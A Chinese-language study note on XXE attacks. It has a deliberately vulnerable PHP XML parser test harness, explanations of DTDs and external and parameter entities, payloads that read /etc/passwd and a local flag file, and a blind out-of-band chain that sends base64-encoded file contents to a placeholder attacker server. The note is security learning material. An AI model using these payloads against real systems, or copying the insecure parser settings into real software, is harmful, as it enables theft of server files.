XXE 学习笔记
本文所用的测试代码
<?php
$input = <<<STR
# 这里写XML
STR;
;
# 设置libxml库的实体加载器为false,可能会处理来自请求XML中定义的外部实体。
libxml_disable_entity_loader (false);
$xmlfile = $input;
$dom = new DOMDocument();
# 加载XML数据。选项LIBXML_NOENT和LIBXML_DTDLOAD分别表示启用实体替换和加载DTD。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
# SimpleXMLElement对象使得处理XML数据更加简单
$creds = simplexml_import_dom($dom);
# 打印整个XML文档
echo $creds->asXML();
背景知识
概念
- XML:即可扩展标记语言(Extensible Markup Language),被设计用于在网络上进行信息传输和存储。
- XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。
- DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
XXE Payload 格式

DTD的使用(主要的攻击方式
DTD的引用方式
在XML文档中,可以通过两种方式引用DTD:内部引用和外部引用。
内部DTD:直接在XML文档中定义DTD。这通常发生在XML文档的声明部分,紧接着在根元素之前。定义内部DTD的语法如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element [
<!-- DTD 内容 -->
]>
<root-element>
<!-- XML 文档内容 -->
</root-element>
比如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ELEMENT user ANY >
]>
<user>
<username>admin</username>
<password>admin</password>
</user>
外部DTD:在外部文件中定义DTD,并在XML文档中通过URI引用。外部DTD可以在多个XML文档中重复使用。定义外部DTD的语法如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "URL">
<root-element>
<!-- XML 文档内容 -->
</root-element>
DTD实体声明(重点)
DTD实体(Entity)是一种机制,可以用于定义XML中可重用的字符串或代码片段。
实体通常可以分为两种类型:内部实体和外部实体。
内部实体:内部实体是在DTD中定义并在XML文档中使用的实体。它的定义方法如下
<!ENTITY xxe "skyblu3">
这个实体在XML文档中通过&实体名称;的方式引用
<username>&xxe;</username>
外部实体:外部实体是在DTD中定义但其内容存储在外部文件中的实体。外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

使用方法:
<!ENTITY xxe SYSTEM "URI/URL">
例子:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

除了内部实体和外部实体,XML还有一个比较特殊的实体:实体参数。
上面的实体都是用于XML文档中的,而实体参数则是用于在DTD中定义可重用的字符串或代码片段。
实体参数的声明和实体一样有内部和外部两种
<!ENTITY % name "<!ENTITY xxe 'skyblue3'>">
<!ENTITY % name SYSTEM "URI">
实体参数通过%name;来引用
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % name "<!ENTITY xxe 'skyblue3'>">
%name;
]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

来看下外部引入,在xml.dtd写入
<!ENTITY xxe "skyblue3">
外部引用这个实体参数,与上面达到同样的效果
<!ENTITY % name SYSTEM "file:///tmp/xml.dtd">
%name;
攻击思路
从上面的例子对XXE最大的感受就是,它可以请求指定URL/URI的内容,并在条件允许的情况下把请求的内容加载出来。所以XXE能做的事还是非常多的(DDoS,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等)。
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
这里以文件读取来测试有回显和无回显两种情况。
有回显
有回显的情况很好理解,之前的例子中已经有了。
还可以利用实体参数来做,在evil.dtd中写入
<!ENTITY evil SYSTEM "file:///Users/ea5ter/tmp/flag" >
像这样引用
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>

无回显
将测试代码中的echo $creds->asXML();注释掉。
对于无回显的情况,需要使用外部实体将数据带出来。具体操作如下:
编写evil.dtd,放在服务器上。
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://ip:9999/?data=%file;'>"
>
%all;
DTD部分:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/ea5ter/tmp/flag">
<!ENTITY % dtd SYSTEM "http://IP/evil.dtd">
%dtd;
%send;
整个流程如下:
- 解析器首先解析XML文档的DTD。在这个过程中,它遇到了
%file实体的定义,于是解析器读取指定的文件,并将其内容转换为Base64格式。 - 解析器然后处理
%dtd实体的定义。首先从指定的URL加载evil.dtd文件,并解析其中的内容。在这个过程中,遇到了%all实体的定义,于是它创建了一个名为%send的实体。 - 最后,处理
%send实体的引用。这导致解析器向服务器发送了一个请求,请求参数data的值是%file实体的值。
数据顺利外带

不过这里我还是有点疑问,为什么%send一定要写在外部实体中?直接写出来就不行呢?🤔
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/ea5ter/tmp/flag">
<!ENTITY % send SYSTEM "http://IP:9999/?p=%file;">
%send;
之后搜索一下🔍
One Day Later......
现在来回答上面这个问题,主要涉及两个DTD的规则。
首先,实体参数在同一个DTD中不能在声明中引用,只能位于其他声明之间。
<!ENTITY % name "skkyblu3">
<!ENTITY xxe "%name;">
所以上面的xxe并不会被替换为<!ENTITY xxe "skkyblu3">,相反解析这个DTD会产生报错。这种类型的替换形式(在声明中进行替换)只能用于DTD外部子集。
要做到上面的替换,我们需要在一个外部dtd中写入:
<!ENTITY xxe "%name;">
再去加载
<!ENTITY % name "skkyblu3">
<!ENTITY % dtd SYSTEM "http://IP/sky.dtd">
%dtd;

因此,payload中读取到的%file;就只能通过引入外部的参数实体http://ip/evil.dtd,在这个外部实体中加载。
在知道引入外部参数实体的原因后,我们再看到evil.dtd的写法
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://ip:9999/?data=%file;'>"
>
%all;
这里的send是定义在all这个内部参数实体中的,为什么不能直接写出来呢?像下面这样
<!ENTITY % send SYSTEM "http://ip:9999/?data=%file;">
这是因为XML规范规定,参数实体不能直接用于构成URI。这意味着SYSTEM "http://ip:9999/?data=%file;"这里是不能直接使用%file;的。
所以需要用all这个内部参数实体来引入send,再使用%all;来展开这个实体。